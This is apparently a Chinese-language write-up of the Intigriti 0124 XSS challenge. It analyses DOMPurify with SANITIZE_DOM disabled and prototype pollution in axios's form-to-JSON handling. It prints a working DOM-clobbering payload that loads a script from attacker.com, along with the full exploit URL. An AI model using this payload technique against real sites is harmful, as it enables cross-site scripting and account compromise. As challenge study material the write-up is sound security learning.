目标:找到一种在 iFramed 页面上执行任意 javascript 的方法并赢得 Intigriti 赠品。
这是一个简单的网页,可以设置用户名并搜索存储库。如果搜索成功,页面将在 iframe 中加载图像和存储库的网站。提供了挑战的来源。
源码分析
后端 - 有趣的端点是“/”:
app.get("/", (req, res) => {
if (!req.query.name) {
res.render("index");
return;
}
res.render("search", {
name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
search: req.query.search
});
});
name参数使用DOMPurify进行清理,并将选项SANITIZE_DOM设置为 false。搜索文档:
// disable DOM Clobbering protection on output (default is true, handle with care, minor XSS risks here)
const clean = DOMPurify.sanitize(dirty, {SANITIZE_DOM: false});
因此SANITIZE_DOM禁用了针对 DOM Clobbering 的保护。
前端 - 该页面使用axios来检索搜索结果:
<script>
function search(name) {
$("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), {
"headers": { "Content-Type": "application/json" }
}).then((d) => {
$("img.loading").attr("hidden", true);
const repo = d.data;
if (!repo.owner) {
alert("Not found!");
return;
};
$("img.avatar").attr("src", repo.owner.avatar_url);
$("#description").text(repo.description);
if (repo.homepage && repo.homepage.startsWith("https://")) {
$("#homepage").attr({
"src": repo.homepage,
"hidden": false
});
};
});
};
window.onload = () => {
const params = new URLSearchParams(location.search);
if (params.get("search")) search();
$("#search").submit((e) => {
e.preventDefault();
search();
});
};
</script>
axios 中的客户端原型污染formDataToJSON
搜索表单 HTML 元素直接传递给 axios:$("#search").get(0)
Axios 自动从 HTML 表单元素获取要发送的数据,根据此提交formDataToJSON,使用容易受到原型污染的函数
DOM破坏+原型污染 利用
我们可以将名称查询参数设置为:
<form id=search>
<input name="__proto__.owner" value="x">
<input name="__proto__.homepage" value="https://attacker.com/xss.js">
</form>
使用此有效负载,所有者检查将被绕过,主页属性将被污染,从而导致 xss 利用:
https://challenge-0124.intigriti.io/challenge?name=%3Cform+id%3dsearch%3E%3Cinput+name%3d%22__proto__.owner%22+value%3d%22x%22%3E%3Cinput+name%3d%22__proto__.homepage%22+value%3d%22https%3a//attacker.com/xss.js%22%3E%3C/form%3E&search=c
还有这篇文章也可以参考参考
https://medium.com/@rodriguezjorgex/how-i-passed-the-intigriti-0124-challenge-b6c2d1cd1b7b
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里